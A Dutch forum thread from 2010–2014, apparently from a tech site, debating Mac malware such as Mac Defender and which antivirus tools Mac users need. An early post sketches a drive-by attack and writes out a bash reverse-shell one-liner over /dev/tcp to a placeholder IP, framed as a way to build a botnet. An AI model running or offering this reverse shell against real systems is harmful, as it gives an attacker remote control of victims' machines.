Dat klopt... maar het punt is dat alle Apple bashers er vooral op wijzen dat deze installer automatisch gedownload kan worden en ook uitgevoerd kan worden met de verkeerde instellingen. En dat zou gevaarlijk zijn. Nou, ja, misschien in Windows, maar als ik out of the blue een installatiescherm voor mijn neus zou krijgen dat om mijn wachtwoord vraagt _terwijl ik aan het surfen ben_ dan zou ik toch hoe dan ook vreemd opkijken.

Het is natuurlijk niet zo dat je dan opeens een installatie scherm voor je krijgt. Ook is het echt niet zo dat je altijd je wachtwoord op moet geven. Ze verkrijgen gewoon code executie door een lek in je browser/flash player etc. Op dat moment kunnen ze code uitvoeren met dezelfde rechten als jou. Het feit dat ze met die installers om een wachtwoord vragen is omdat de meeste mensen dat toch wel geven, en ze hiermee gewoon meer rechten op je systeem hebben (de kernel aanpassen bijvoorbeeld). Dit is echter geen noodzaak.

Een voorbeeld is bijvoorbeeld: http://security.nl/artike..._OS_X_via_Safari-lek.html. Zet zo'n exploit op een populair bezochte site die iedereen vertrouwd (bijvoorbeeld die van de nobel prijs: http://blog.trendmicro.com/firefox-zero-day-found-in-compromised-nobel-peace-prize-website/) en laat hem vervolgens het volgende uitvoeren:

exec 5<>/dev/tcp/<ip>/<port>; cat <&5 | while read line; do $line 2>&5 >&5; done

En je hebt je eigen botnetje.

[magnifor]

Digistorm schreef op woensdag 04 mei 2011 @ 16:51:
[...]

Dat klopt... maar het punt is dat alle Apple bashers er vooral op wijzen dat deze installer automatisch gedownload kan worden en ook uitgevoerd kan worden met de verkeerde instellingen. En dat zou gevaarlijk zijn. Nou, ja, misschien in Windows, maar als ik out of the blue een installatiescherm voor mijn neus zou krijgen dat om mijn wachtwoord vraagt _terwijl ik aan het surfen ben_ dan zou ik toch hoe dan ook vreemd opkijken.

Maar het gevaar is dus dat Mac Defender voordoet als legitieme software. Het hoeft niet automatisch gedownload en gestart te worden. Omdat mensen gaan denken dat het veilig is zullen ze het ZELF downloaden en ZELF uitvoeren. Automatisatie is in dit geval niet nodig.

Het feit dat ze met die installers om een wachtwoord vragen is omdat de meeste mensen dat toch wel geven, en ze hiermee gewoon meer rechten op je systeem hebben (de kernel aanpassen bijvoorbeeld). Dit is echter geen noodzaak.

Op de Mac wordt er 9 van de 10 keer om een username en password gevraagd als je een applicatie moet installeren via een installer. Dus het is geen merkwaardig verschijnsel maar iets wat vaak voorkomt. Daar zit ook het gevaar denk ik.

[ Voor 22% gewijzigd door magnifor op 04-05-2011 17:39 ]

[Dreamvoid]

Digistorm schreef op woensdag 04 mei 2011 @ 16:51:
[...]

Dat klopt... maar het punt is dat alle Apple bashers er vooral op wijzen dat deze installer automatisch gedownload kan worden en ook uitgevoerd kan worden met de verkeerde instellingen. En dat zou gevaarlijk zijn. Nou, ja, misschien in Windows, maar als ik out of the blue een installatiescherm voor mijn neus zou krijgen dat om mijn wachtwoord vraagt _terwijl ik aan het surfen ben_ dan zou ik toch hoe dan ook vreemd opkijken.

Helemaal niet, hoe vaak niet krijg je van Software Update niet een popup voor je neus die zegt dat je een Apple update moet downloaden, en die vervolgens om je password vraagt? Jij weet misschien wel dat het echte Software Update venstertje er niet zo uitziet als een standaard script venster, de gemiddelde gebruiker niet. Dat was een groot risico (zelfs al was het allemaal "by design"), en Apple heeft daarom al een tijdje terug gefixed (in de update van Safari 3 naar 4) dat .dmg's niet meer automounted worden en het .mpkg install script automatisch gestart wordt. Eind goed al goed.

De mogelijkheid om via browser/email/ssh exploits de boel ongemerkt te hacken is nou eenmaal mogelijk op alle platformen die aan internet hangen, daar valt niet veel aan te doen behalve updaten en jezelf gelukkig prijzen dat dit behoorlijk veel skills van de hacker vergt. Er zijn makkelijker manieren om bots te creeeren (social engineering dus).

[Digistorm]

Dreamvoid schreef op maandag 09 mei 2011 @ 01:08:
[...]

Helemaal niet, hoe vaak niet krijg je van Software Update niet een popup voor je neus die zegt dat je een Apple update moet downloaden, en die vervolgens om je password vraagt? Jij weet misschien wel dat het echte Software Update venstertje er niet zo uitziet als een standaard script venster, de gemiddelde gebruiker niet. Dat was een groot risico (zelfs al was het allemaal "by design"), en Apple heeft daarom al een tijdje terug gefixed (in de update van Safari 3 naar 4) dat .dmg's niet meer automounted worden en het .mpkg install script automatisch gestart wordt. Eind goed al goed.

De mogelijkheid om via browser/email/ssh exploits de boel ongemerkt te hacken is nou eenmaal mogelijk op alle platformen die aan internet hangen, daar valt niet veel aan te doen behalve updaten en jezelf gelukkig prijzen dat dit behoorlijk veel skills van de hacker vergt. Er zijn makkelijker manieren om bots te creeeren (social engineering dus).

Hm ja, maar wat is dan nog de toegevoegde waarde van een virusscanner? Een user-scanner zou zinvoller zijn.
Als een side-note: ik heb een "incompatible user" in een paar uur een computer zien verzieken, en denk maar niet dat de virusscanner een strobreed in de weg zat. Ze checken alles wat je doet, wat je computer sloom maakt, maar al die "heuristische intelligentie" is een hoop marketing als je het mij vraagt. En als een virusscanner om de haverklap waarschuwt gaan gebruikers volgens mij net zo hard op yes en ok klikken. Dus, tja...

[Roman]

Een AppleCare medewerker zegt dat het erger word.

http://www.zdnet.com/blog...are-is-getting-worse/3342

http://nakedsecurity.soph...are-to-help-you-remove-it

En dan de mooiste zin van het verhaal:

EB: What sort of advice do you leave customers with after you’ve helped them with this issue?

AC: That even though they’re using a Mac, they need antivirus/antimalware. We give them links to Norton. McAfee, and Sophos.

[ Voor 35% gewijzigd door Roman op 20-05-2011 09:44 ]

[Wootism]

Verwijderd schreef op donderdag 12 augustus 2010 @ 13:35:
[...]

Ikzelf surf standaard met de no-script extensie voor Firefox. Verder gebruik ik geen Safari. Ik draai een outbound firewall (Little Snitch) die ik strict heb ingesteld. Verder draai ik een inbound firewall (gewoon ipfw). Ik draai applicaties in een sandbox (zit standaard in os x). Als laatste heb ik met behulp van PGP me gehele hardeschijf geencrypt. Oja en firewire gedisabled om DMA aanvallen te voorkomen.

Hahaha, hebben ze je lekker bang gemaakt op die conferenties van je?
Echt te belachelijk voor woorden dit...
(oh een post uit 2010, stormloop topic dit )

[ Voor 3% gewijzigd door Wootism op 29-05-2011 13:37 ]

[Underworld]

Interessant artikel:
http://computerworld.nl/a...-serieuze-vormen-aan.html

De komst van een malware bouwpakket voor OS X komt overeen met een in 2008 gedane voorspelling door een onderzoeker. De voorspelling stond in een onderzoekspaper (pdf) in IEEE Security & Privacy, waarin tevens voorspeld werd dat de Mac pas een groot doelwit voor cybercriminelen zou worden wanneer het bedrijf een marktaandeel van 16 procent zou bereiken.

Eng hoor:..
http://www.security.nl/ar...eist_geen_wachtwoord.html

En nog meer eng nieuws:
http://www.nu.nl/tech/252...turingssysteem-apple.html

Mac OS, het platform van Apple, krijgt door het groeiende marktaandeel te maken met malware-bedreigingen.

[Verwijderd]

Ja heel eng die malware, ik weet het niet maar malware kom je dagelijks op straat en winkels tegen: op het moment dat je gefopt (lees: genaaid) word.

[Verwijderd]

Heeft iemand ervaring met VirusBarrier Plus?
Ik draai nu Sophos, maar ik ben eigenlijk niet zo van de gratis virusscanners.
Is VirusBarrier Plus echt beter?
Reviews op internet zijn bijna altijd positief..

[Ryatzu]

Ik gebruik NOD32 voor mac.

[MTBS]

Ik werk nu al een drietal dagen voor het eerst in mijn leven in OSX (nieuwe MBA) en na al die jaren windows is het toch wel raar om geen scanner te zien draaien die me af en toe een waarschuwing geeft...

De discussies pro en contra heb ik een beetje gevolgd.

Ik zou via het werk eventueel gratis een FSECURE kunnen installeren, maar vrees een beetje dat ik dan qua snelheid, geheugen en vooral batterijduur moet inboeten... Iemand ervaring?

[dcl!]

Nee geen ervaring.
Sinds een aantal maanden ook van windows naar mac (book pro) gegaan en het bevalt heel goed, vooral het geen scanner zien draaien

[Verwijderd]

dcl! schreef op maandag 25 juli 2011 @ 10:55:
Nee geen ervaring.
Sinds een aantal maanden ook van windows naar mac (book pro) gegaan en het bevalt heel goed, vooral het geen scanner zien draaien

Grootste misvatting die er is denk ik.
Je moet altijd sowieso een virusscanner hebben op de Mac. Ook die hebben virussen!

[ZpAz]

Jah, heb nu 3,5 jaar geen virusscanner draaien op een mac. En wat heb ik er al een last van gehad. Virusscanners voor OSX zijn overaten. Ook zitten er weer allemaal nieuwe beveiligingssystemen in OSX Lion. Dus nog minder om je zorgen over te maken.

[Exirion]

Verwijderd schreef op maandag 25 juli 2011 @ 11:00:
Je moet altijd sowieso een virusscanner hebben op de Mac. Ook die hebben virussen!

Er bestaat zoiets als een acceptabel risico. Op straat kan ik TBC en Ebola oplopen als het erg tegenzit, maar toch loop ik niet in een ruimtepak rond. Toegegeven, met de toenemende populariteit van OSX zal het risico groeien, maar zeker in de afgelopen paar jaar was het risico nog nihil

[dcl!]

Ik heb zelfs op windows 98 een tijdje zonder virusscanner gedraaid. Later eens helemaal doorgelicht met behulp van diverse progs: alleen maar wat tracking cookies, dat was het.
Virusscanner leuk en aardig, maar het belangrijkste blijft de gebruiker: niet overal op klikken, "zomaar" naartoe surfen en installeren, dat zijn gewoonweg de grootste boosdoeners. Op elk OS.

[Ridder]

Een vrij hoog " Wij van WC Eend"- gehalte......

Maar goed het kan geen kwaad om toch even te kijken of ik wat opgelopen heb de afgelopen jaren.
Zojuist Sophos erop gezet en hij staat nu te scannen.....
Ik moest overigens op The Black Shield klikken wanneer ik een scan zou willen.....nergens te vinden....alleen een blauwe......

Ben benieuwd.....

[dcl!]

Zolang de meeste alarmberichten nog afkomstig zijn van de verkopers van scanprogramma's neem ik alles met een korreltje zout...

[Verwijderd]

MTBS schreef op maandag 25 juli 2011 @ 10:49:
Ik werk nu al een drietal dagen voor het eerst in mijn leven in OSX (nieuwe MBA) en na al die jaren windows is het toch wel raar om geen scanner te zien draaien die me af en toe een waarschuwing geeft...

De discussies pro en contra heb ik een beetje gevolgd.

Ik zou via het werk eventueel gratis een FSECURE kunnen installeren, maar vrees een beetje dat ik dan qua snelheid, geheugen en vooral batterijduur moet inboeten... Iemand ervaring?

Fsecure is brol en maakt je systeem echt traag... we gebruiken het op het werk maar dat is het eerste wat iedereen bij ons er afsmijt op de IT dienst

Als je er echt één wil zou ik eens kijken naar mackeeper. Staat overal positief beschreven en het is veel meer als een antivirus. Als je laptop word gestolen zit er ook die functie in om fotos te nemen en gps locatie details door te sturen en nog veel meer...

[VeeGee]

MacKeeper is echt waardeloos. Overal krijg je spam reclame op Apple related sites, irritante popups (ook al heb je het nog niet geïnstalleerd). Kennelijk zijn ze er zo op gebrand dat je het installeert, dat ik het alleen om die reden al niet zo installeren.
Daarnaast heb ik het een tijdje geleden (2wk) op m'n iMac gehad, maar nadat Onyx aangaf dat mijn bootdisk beschadigd was en repair nodig was heb ik het er direct weer afgegooid en OS X moeten herstellen met de installatie DVD's (99% dat het door MacKeeper kwam met z'n mooie 'opruim' functies)

Nee, MacKeeper komt er bij mij niet meer in!

[MTBS]

Verwijderd schreef op maandag 25 juli 2011 @ 16:23:
[...]


Fsecure is brol en maakt je systeem echt traag... we gebruiken het op het werk maar dat is het eerste wat iedereen bij ons er afsmijt op de IT dienst

Ik vind het verre van brol en vond dat het nog heel goed meeviel qua "vertraging" in vergelijk met Norton of McAfee... Bij ons op de IT dienst is iedereen zeer tevreden van FSecure en is iedereen blij dat ze een gratis licentie krijgen voor thuis...

Tot twee à drie jaar geleden zou ik je gelijk gegeven hebben, maar ze hebben er bij FSecure enorm aan gewerkt en het is dan ook enorm verbeterd vind ik.

[ Voor 12% gewijzigd door MTBS op 25-07-2011 17:17 ]

[Verwijderd]

Is het dan zo dat tot dat er echt sprake is van aanvallen op Mac OS, je gewoon geen virusscanner nodig bent? Als je tenminste niet op hele rare sites zit...

[notsonewbie]

Ook ik kan er geen vinden voor mijn mac mini.

Avast bijv. direct na installatie kijk ik op gmail (webbased)
hop , pop-up, omgeldig certificaat, van avast, ipv gmail, naam en website verschillen of zo...

Is er niet een poll met best geteste mac anti virus? Idem voor anti warez/trojans?

[notsonewbie]

Verwijderd schreef op maandag 25 juli 2011 @ 16:23:
[...]
Fsecure is brol en maakt je systeem echt traag... we gebruiken het op het werk maar dat is het eerste wat iedereen bij ons er afsmijt op de IT dienst

En wat zetten de meesten er dan voor in de plaats terug!?

[Verwijderd]

@notsonewbie, kijk eens naar de datums in dit topic! Je gaat in op zeer gedateerde vragen!

[JJ Le Funk]

Ik ben nu ClamXav aan het proberen. Gratis en een goed onderhouden virusdatabase met dank aan de linux en open source community.

Het lijkt me een passieve scanner te zijn, dus minder belastend voor de systeembronnen. Firefox heeft er een plugin voor zodat een download eerst gescand wordt.

[Freezerator]

notsonewbie schreef op zaterdag 08 maart 2014 @ 19:45:
Ook ik kan er geen vinden voor mijn mac mini.

Avast bijv. direct na installatie kijk ik op gmail (webbased)
hop , pop-up, omgeldig certificaat, van avast, ipv gmail, naam en website verschillen of zo...

Is er niet een poll met best geteste mac anti virus? Idem voor anti warez/trojans?

Apart. Hier ook Avast op de mac maar gmail werkt gewoon zonder waarschuwingen? Zelf ben ik erg tevreden over Avast en heb er sinds de instal (vorig jaar) nog geen enkel probleem mee gehad. Mail wordt netjes gescanned en krijg netjes meldingen. Ik merk niet dat de laptop er langzamer door zou zijn.